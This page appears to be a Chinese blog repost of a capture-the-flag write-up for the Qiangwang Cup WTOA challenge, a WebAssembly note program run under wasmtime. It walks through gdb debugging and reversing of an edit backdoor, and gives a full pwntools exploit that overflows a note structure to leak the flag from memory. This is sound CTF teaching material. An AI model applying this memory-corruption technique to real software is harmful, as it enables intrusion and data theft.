news 2026/1/13 15:36:22

第七届强网杯-PWN-【WTOA】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【WTOA】

文章目录

    • 参考
    • WebAssembly
    • Wasmtime
    • 调试
    • 逆向源码
    • exp

参考

WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例

WebAssembly

WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。

WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。

由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。

Wasmtime

相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。

启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过--allow-precompiled来运行

./wasmtime run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

调试

gdb ./wasmtimesetargs run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

发现flag和add后输入的content很接近

pwndbg>search flag{Searchingforvalue:'flag{'[heap]0x555556fac865'flag{zhiyinnitaimei}@'[heap]0x555556fc91c0'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2b40'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2c6d'flag{zhiyinnitaimei}'[stack]0x7fffffffe19b'flag{zhiyinnitaimei}'pwndbg>search aaaaaaaa Searchingforvalue:'aaaaaaaa'[anon_7ffe77bb3]0x7ffe780b2cc0'aaaaaaaa'pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2c6d 0x53 does not belong to a mapped pageinmemory pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2b40 0x180 does not belong to a mapped pageinmemory pwndbg>

wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000

0x7ffff7bfc000 0x7ffff7c08000 r-xp c0001000/home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa

逆向源码

把wasm格式文件放入IDA

IDA View->Graphs->Function Calls

找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向

调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处

0x7ffff7bfd337 call 0x7ffff7bfeef0<0x7ffff7bfeef0>► 0x7ffff7bfd33c movsx r8, byte ptr[rbx + r15 + 0x10]R8,[0x7ffe780b2b20]=>0x41 0x7ffff7bfd342addr8d,-0x41R8D=>0(0x41 + 0xffffffffffffffbf)x/40s 0x7ffe780b2b20 0x7ffe780b2b20:"Ad"0x7ffe780b2b23:""0x7ffe780b2b24:""0x7ffe780b2b25:""0x7ffe780b2b26:""0x7ffe780b2b27:""0x7ffe780b2b28:""0x7ffe780b2b29:""0x7ffe780b2b2a:""0x7ffe780b2b2b:""0x7ffe780b2b2c:""0x7ffe780b2b2d:""0x7ffe780b2b2e:""0x7ffe780b2b2f:""0x7ffe780b2b30:""0x7ffe780b2b31:""0x7ffe780b2b32:""0x7ffe780b2b33:""0x7ffe780b2b34:""0x7ffe780b2b35:""0x7ffe780b2b36:""0x7ffe780b2b37:""0x7ffe780b2b38:""0x7ffe780b2b39:""0x7ffe780b2b3a:""0x7ffe780b2b3b:""0x7ffe780b2b3c:"m\034P"0x7ffe780b2b40:"flag{zhiyinnitaimei}"0x7ffe780b2b55:""

根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值

print(v6, v6, 0x46FLL, 0LL);// size .rodata.wasm:000000000001B46F aSize db'size > ',0

然后结合字符串和上下文和动态调试可以猜出所有函数的作用

大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量

大致管理如下

可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面

结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag

getinput(a1,a1,0LL,v20-48,31);len=set_to_chunk(a1,a1,v20-48);*(base+v4+36)=len;if(len==0x345231){if(*(base+4016)==1){v14=*(base+v4+44);*(base+v4+4)=*(base+v4+40);*(base+v4)=v14;print(a1,a1,0x4DELL,(v20-96));// content for note[%lu] with offset [%lu] >save(a1,a1,*(v19+40)+*(base+*(base+(*(base+*(v19+92)+4)+4**(base+v4+44)))),48);*(base+4016)=0;gotoLABEL_15;}v13=base+v4;}

根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行

发现开了随机话后偏移不变,改为flag的偏移即可

exp

frompwnimport*context(os="linux",arch="amd64",log_level="debug")p=process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))gdb.attach(p)pause()p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[0] > ",8*str("a"))p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[1] > ",8*str("b"))p.sendlineafter(b"Choice > ",str("E"))p.sendlineafter(b"index > ",str("0"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("3428913"))p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))p.sendlineafter(b"Choice > ",str("S"))p.sendlineafter(b"index > ",str("1"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("32"))p.recvuntil(b"content for note[1] with offset [0] > ")flag=p.recv(timeout=2)print(flag)p.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/12 20:44:22

语音合成与数字永生关联:为逝者保存永久声音记忆

语音合成与数字永生&#xff1a;为逝者保存永久声音记忆 在一场家庭聚会的录像中&#xff0c;老人笑着对孙子说&#xff1a;“要好好读书啊。”十年后&#xff0c;这段录音成了家人最珍贵的记忆。如今&#xff0c;借助人工智能&#xff0c;这句话不再只是回放——它可以被“延续…

作者头像 李华
网站建设 2026/1/10 15:25:50

语音合成中的跨语种发音迁移:中文母语者说英文口音控制

语音合成中的跨语种发音迁移&#xff1a;中文母语者说英文口音控制 在虚拟教师用标准美式英语讲解语法时&#xff0c;学生常常感到距离感——那种“完美发音”听起来遥远而难以模仿。但如果这位老师的声音是你熟悉的语文老师&#xff0c;只是她说的英语带着一丝“中式口音”&am…

作者头像 李华
网站建设 2026/1/10 4:23:20

高德地图123

高德地图的收入来源高德地图的收入来源非常多元化&#xff0c;已经从一个单纯的地图导航工具&#xff0c;转变为阿里生态内重要的本地生活服务平台和数字基建提供方。其收入主要来源于以下几个核心板块&#xff0c;下面我们详细解析这些业务板块&#xff1a;1. 本地生活服务&am…

作者头像 李华
网站建设 2026/1/11 22:36:43

语音合成与低代码平台集成:在Dify中拖拽生成语音工作流

语音合成与低代码平台集成&#xff1a;在Dify中拖拽生成语音工作流 如今&#xff0c;越来越多的企业希望快速打造具备“人格化”表达能力的AI应用——比如能用老板原声播报通知的智能助手、会用方言讲故事的虚拟主播、或是带情绪起伏的商品推荐语音。但传统语音合成系统开发门槛…

作者头像 李华
网站建设 2026/1/12 12:15:02

sward快速上手指南 - 5分钟玩转富文本文档

sward是一款开源免费、简洁易用的知识库管理工具。包括知识库管理、文档管理、markdown等功能。本文将详细介绍文档管理模块中的富文本编辑器。1、添加文档进入知识库->点击添加按钮->选择添加文档&#xff0c;此时生成名为“未命名文档”的文件&#xff0c;修改默认名称…

作者头像 李华
网站建设 2026/1/12 6:41:20

【中小企业数字化转型利器】:用PHP低代码实现精细化权限管控

第一章&#xff1a;中小企业数字化转型中的权限挑战在中小企业推进数字化转型的过程中&#xff0c;权限管理往往成为被忽视却影响深远的关键环节。随着业务系统从线下迁移至云端&#xff0c;员工、合作伙伴和第三方服务频繁接入企业信息系统&#xff0c;传统的粗粒度权限控制已…

作者头像 李华